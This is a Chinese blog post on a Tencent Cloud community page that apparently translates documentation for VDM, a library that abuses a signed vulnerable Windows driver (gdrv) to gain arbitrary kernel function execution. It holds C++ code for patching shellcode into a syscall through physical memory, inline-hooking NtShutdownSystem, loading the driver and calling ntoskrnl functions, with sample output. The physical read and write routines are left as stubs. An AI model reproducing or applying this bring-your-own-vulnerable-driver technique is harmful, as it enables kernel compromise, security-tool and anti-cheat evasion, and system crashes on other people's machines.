Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >VDM - 易受攻击的驱动程序操纵1

VDM - 易受攻击的驱动程序操纵1

原创
作者头像
franket
发布于 2022-05-28 16:59:13
发布于 2022-05-28 16:59:13
4K00
代码可运行
举报
文章被收录于专栏:技术杂记技术杂记
运行总次数:0
代码可运行

提升到内核执行


每次在物理内存中发现 NtGdiDdDDICreateContext 的字节时,都会进行测试以确定是否已找到正确的内存。这个测试在 NtGdiDdDDICreateContext 的前几条指令上放置了一些汇编代码。然后调用 NtGdiDdDDICreateContext 来查看是否执行了所需的指令。最后不管情况如何,原始字节都被恢复了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
bool vdm_ctx::valid_syscall(void* syscall_addr) const
{
	static std::mutex syscall_mutex;
	syscall_mutex.lock();

	static const auto proc =
		GetProcAddress(
			LoadLibraryA(syscall_hook.second),
			syscall_hook.first
		);

	// 0:  48 31 c0    xor rax, rax
	// 3 : c3          ret
	constexpr std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
	std::uint8_t orig_bytes[sizeof shellcode];

	// save original bytes and install shellcode...
	vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
	
	vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
	auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
	vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);

	syscall_mutex.unlock();
	return result == STATUS_SUCCESS;
}

现在我们知道了 NtGdiDdDDICreateContext 的例程在物理内存中的正确位置;每次我们想调用内核中的特定函数时,我们可以在函数的开头安装一个内联钩子,然后在系统调用完成后恢复原始字节。在内核中定位特定的例程可以通过简单的算术来完成。内核模块基地址的位置可以通过 NtQuerySystemInformation 使用 SystemModuleInformation 简单地获得。这允许我们计算我们想要的任何内核函数的绝对虚拟地址。只需加载包含所需功能的驱动程序,然后从加载的驱动程序的基地址中减去它的地址,就可以生成相对虚拟地址。随后,可以对内核模块的基地址应用逆运算(加法)以产生所需函数的绝对内核虚拟地址。结合内联挂钩 NtGdiDdDDICreateContext 的能力,这允许 VDM 用户调用他们想要的任何内核函数。

将易受攻击的驱动程序与 VDM 一起使用


VDM 允许程序员轻松地将易受攻击的驱动程序集成到项目中,只需编写项目其余部分使用的四个函数即可。VDM 工作所需的四个函数是:vdm::load_drv、vdm::unload_drv、vdm::read_phys 和 vdm::write_phys。一旦对这些功能进行了适当的编程,库将负责其余的工作。大多数驱动程序映射和取消映射物理内存,因此在编程时 vdm::read_phys 和 vdm::write_phys 映射物理内存,使用 memcpy,然后取消映射物理内存。

目前该项目配置为使用 gdrv,但如果要换出驱动程序,则必须定义四个函数。您还可以通过更改vdm_ctx/vdm_ctx.h.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// change this to whatever you want :^)
constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem`", "ntdll.dll" };

vdm::load_drv


将此函数替换为加载驱动程序所需的代码……返回一个包含驱动程序句柄的 std::pair 和一个包含驱动程序注册表项名称的 std::string。键名是从loadup返回的。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
{
	const auto [result, key] =
	    driver::load(
		vdm::raw_driver,
		sizeof(vdm::raw_driver)
	    );

	if (!result) return { {}, {} };
	vdm::drv_handle = CreateFile(
		"\\\\.\\GIO",
		GENERIC_READ | GENERIC_WRITE,
		NULL,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	return { vdm::drv_handle, key };
}

vdm::unload_drv


这段代码可能不会改变,它只是一个包装函数driver::unload,但它也会在尝试卸载驱动程序之前关闭驱动程序句柄......

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
{
    return CloseHandle(drv_handle) && driver::unload(drv_key);
}

vdm::read_phys


大多数驱动程序都会公开物理内存的映射。这意味着您需要映射物理内存,对其进行 memcpy,然后取消映射。这允许支持实际上只提供物理读写而不是物理映射/取消映射的驱动程序。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
{
    // code to read physical memory. most drivers offer map/unmap physical
    // so you will need to map the physical memory, memcpy, then unmap the memory
}

vdm::write_phys


vdm::read_phys除了 memcpy dest 和 src 交换之外,这个函数可能包含相同的代码......

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
{
    // code to write physical memory... same code as vdm::read_phys
    // except memcpy dest and src are swapped.
}

VDM 示例


代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// read physical memory using the driver...
vdm::read_phys_t _read_phys =
	[&](void* addr, void* buffer, std::size_t size) -> bool
{
	return vdm::read_phys(addr, buffer, size);
};

// write physical memory using the driver...
vdm::write_phys_t _write_phys =
	[&](void* addr, void* buffer, std::size_t size) -> bool
{
	return vdm::write_phys(addr, buffer, size);
};

vdm::vdm_ctx vdm(_read_phys, _write_phys);

const auto ntoskrnl_base =
reinterpret_cast<void*>(
    util::get_module_base("ntoskrnl.exe"));

const auto ntoskrnl_memcpy =
    util::get_kernel_export("ntoskrnl.exe", "memcpy");

std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);

short mz_bytes = 0;
vdm.syscall<decltype(&memcpy)>(
	ntoskrnl_memcpy,
	&mz_bytes,
	ntoskrnl_base,
	sizeof mz_bytes
);
std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);

上面显示的代码的结果应该如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[+] drv_handle -> 0x100, drv_key -> frAQBc8Wsa1xVPfv
[+] NtShutdownSystem physical address -> 0x0000000002D0B1A0
[+] NtShutdownSystem page offset -> 0x1a0
[+] ntoskrnl base address -> 0xFFFFF80456400000
[+] ntoskrnl memcpy address -> 0xFFFFF804565D5A80
[+] kernel MZ -> 0x5a4d
[+] press any key to close...

限制


  • VDM 不适用于 HVCI 系统。
  • 系统调用上的内联钩子不是线程安全的,可能会导致系统不稳定。

结论


VDM 抽象了易受攻击的驱动程序的概念,该驱动程序将物理内存读写暴露给一种方法,您可以在该方法中调用您想要的任何内核函数。暴露此原语的大量易受攻击的驱动程序允许 VDM 更加模块化,因此比其他公共选项更具吸引力。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
VDM - 易受攻击的驱动程序操纵
易受攻击的驱动程序、物理内存、虚拟地址、相对虚拟地址 (RVA)、内联挂钩、任意物理内存访问。
franket
2022/05/29
5K1
一个来自fairgame.co 的逆向工具(2)
现在我们了解了这种挂钩/通信方法的基础知识,所有其他对 MmGetPhysicalAddress 的调用的意图变得更加清晰。下次调用 MmGetPhysicalAddress 时,将传递驻留在 ntoskrnl 内部的指针。这个地址就是 ExAllocatePool 的地址。通常,ExAllocatePool 的这种用法用于为未签名的驱动程序分配空间。
franket
2021/08/09
2K0
17.NOR FLASH驱动
NOR FLASH硬件原理参考:https://blog.csdn.net/qq_16933601/article/details/102653367
嵌入式与Linux那些事
2021/05/20
8990
驱动开发:内核LDE64引擎计算汇编长度
本章开始LyShark将介绍如何在内核中实现InlineHook挂钩这门技术,内核挂钩的第一步需要实现一个动态计算汇编指令长度的功能,该功能可以使用LDE64这个反汇编引擎,该引擎小巧简单可以直接在驱动中使用,LDE引擎是BeaEngine引擎的一部分,后来让BeatriX打包成了一个ShellCode代码,并可以通过typedef动态指针的方式直接调用功能,本章内容作为后期Hook挂钩的铺垫部分,独立出来也是因为代码太多太占空间一篇文章写下来或很长影响阅读。
王 瑞
2022/11/14
5500
驱动开发:内核LDE64引擎计算汇编长度
一种Windows 未签名内核驱动映射器实现
Physmeme 是一个驱动程序映射器,适用于任何形式的物理内存读写。它是高度模块化的代码,允许逆向工程师轻松集成他们自己的易受攻击的驱动程序。如果您能够读写物理内存,您现在只需编写四个函数就可以将未签名的驱动程序映射到您的内核中。
franket
2021/08/09
1.9K0
Physmeme - Windows 未签名内核驱动映射器
Physmeme 是一个驱动映射器,它适用于任何形式的物理内存读写。它是高度模块化的代码,允许逆向工程师轻松集成他们自己的易受攻击的驱动程序。如果您能够读取和写入物理内存,您现在只需编写四个函数即可将未签名的驱动程序映射到内核中。
franket
2022/01/14
2.9K0
华中科技大学OS实验解析(Lab2)
版权归华中科技大学操作系统团队所有,下面是许可证书,本文档是对https://gitee.com/hustos/pke-doc的部分修改和解释.
用户7267083
2022/12/08
1.9K1
hisi mmz模块驱动讲解
如图所示,在海思平台上将内存分为两个部分:os内存和mmz内存。os内存指:由linux操作系统管理的内存;mmz内存:由mmz驱动模块进行管理供媒体业务单独使用的内存,在驱动加载时可以指定该模块管理内存的大小:
233333
2019/08/06
2.2K0
韦东山:Linux驱动基石之POLL机制
妈妈怎么知道卧室里小孩醒了? ① 时不时进房间看一下:查询方式 简单,但是累 ② 进去房间陪小孩一起睡觉,小孩醒了会吵醒她:休眠-唤醒 不累,但是妈妈干不了活了 ③ 妈妈要干很多活,但是可以陪小孩睡一会,定个闹钟:poll方式 要浪费点时间,但是可以继续干活。 妈妈要么是被小孩吵醒,要么是被闹钟吵醒。 ④ 妈妈在客厅干活,小孩醒了他会自己走出房门告诉妈妈:异步通知 妈妈、小孩互不耽误
韦东山
2020/09/30
9.6K1
韦东山:Linux驱动基石之POLL机制
基于WDF的PCI/PCIe接口卡Windows驱动程序(4)- 驱动程序代码(源文件)
原文出处:http://www.cnblogs.com/jacklu/p/4687325.html
用户7043923
2020/03/12
2.6K0
Intel FPGA 100G VF(IFCVF) DPDK用户态VDPA设备probe探测流程
callfd: host侧IO处理完成后, 如果是split vring, 则将结果写入vring used字段, 然后写callfd通知qemu/guest
晓兵
2024/08/04
3510
Intel FPGA 100G VF(IFCVF) DPDK用户态VDPA设备probe探测流程
RDMA的内存管理(IB内核管理用户态内存) - ib_umem
从内核模块暴露IB内存接口: ib_umem_get()/ib_umem_release() ,可让低级驱动程序控制何时调用 ib_umem_get() 来pin和 DMA 映射用户空间,该方案优于以前在调用 ib_uverbs_reg_mr 中的 reg_user_mr 前后的处理逻辑 。 还将这些函数移至 ib_core 模块而不是 ib_uverbs 中,以便使用它们的驱动程序模块不依赖于 ib_uverbs。 这具有许多优点:
晓兵
2024/11/17
4950
RDMA的内存管理(IB内核管理用户态内存) - ib_umem
一个来自fairgame.co 的逆向工具(1)
Unfairgame是一家在线游戏作弊提供商,专门为竞技游戏销售游戏作弊。这些游戏包括《彩虹六号:围攻》、《守望先锋》、《 铁锈》(https://en.wikipedia.org/wiki/Rust_(video_game%29)、《逃离塔科夫》和《Valorant》。这个作弊提供者已经存在近两年了,并且轻松赚取了超过 10 万美元的利润。一直以来,他们都通过构建不良的作弊加载系统向用户出售公开可用的代码。
franket
2021/08/09
1.8K0
动态 DMA 映射指南-地址类型差异-DMA寻址能力-内核驱动-一致内存DMA-流式DMA-错误处理-平台兼容等
DPU卸载/加速, 或AI云中, 大量使用的RDMA技术中, 比较重要的操作当属于DMA, 不管是e810, e1000, mlx5等网卡驱动, 或是刚玉项目(Corundum: https://github.com/corundum/corundum)中, 都大量使用DMA, 今天咱们跟随大佬一起深入分析动态DMA映射原理及API
晓兵
2024/01/28
1.5K0
动态 DMA 映射指南-地址类型差异-DMA寻址能力-内核驱动-一致内存DMA-流式DMA-错误处理-平台兼容等
没有IOMMU的DMA操作
我们知道DMA通常需要访问连续的物理内存,除非设备支持iommu,当设备不支持iommu的话可以用以下方式:
刘盼
2021/04/13
3.1K0
没有IOMMU的DMA操作
Linux RDMA RXE/SoftRoCE 软件RoCE-内核驱动源码
rdma_rxe 内核模块提供 RoCEv2 协议的软件实现。 RoCEv2 协议是存在于 UDP/IPv4 或 UDP/IPv6 之上的 RDMA 传输协议。 InfiniBand (IB) 基本传输标头 (BTH) 封装在 UDP 数据包中。 创建 RXE 实例后,通过 RXE 进行通信与通过任何 OFED 兼容的 Infiniband HCA 进行通信相同,尽管在某些情况下会涉及寻址问题。 特别是,虽然 GRH 标头的使用在 IB 子网中是可选的,但对于 RoCE 来说是强制性的。 基于 IB 动词编写的动词应用程序应该可以无缝工作,但它们需要在创建地址向量时提供 GRH 信息。 修改库和驱动程序以提供硬件所需的从 GID 到 MAC 地址的映射
晓兵
2024/04/10
2.6K2
Linux RDMA RXE/SoftRoCE 软件RoCE-内核驱动源码
韦东山:Linux驱动程序基石之mmap
应用程序和驱动程序之间传递数据时,可以通过read、write函数进行。这涉及在用户态buffer和内核态buffer之间传数据,如下图所示:
韦东山
2020/06/03
4.3K0
韦东山:Linux驱动程序基石之mmap
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow 1.本文一共4556个字 20张图 预计阅读时间17分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章是Windows Kernel Exploitation Notes系列文章的第一篇HEVD Stack Overflow4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 0
Gcow安全团队
2021/06/25
9220
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
ARM32 内核内存布局
Linux内核在启动时会打印出内核内存空间的布局图,下面是ARM Vexpress平台打印出来的内存空间布局图:
233333
2020/05/18
1.7K0
ARM32 内核内存布局
64位内开发第二十一讲,内核下的驱动程序与驱动程序通讯
驱动调用驱动.其实就是两个内核内核驱动之间的通信. 比如应用程序和驱动程序通信就算为一种通信. 应用程序可以 发送 IRP_MJ_READ 请求(ReadFile) 发送给 DrvierA程序. 然后DriverA进行相应的 IRP处理操作. 当然发送 IRP_MJ_READ请求的时候可以发送同步请求或者异步请求.这就看DriverA 如何处理这些请求了.是否支持异步.
IBinary
2022/09/19
1.7K0
推荐阅读
相关推荐
VDM - 易受攻击的驱动程序操纵
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档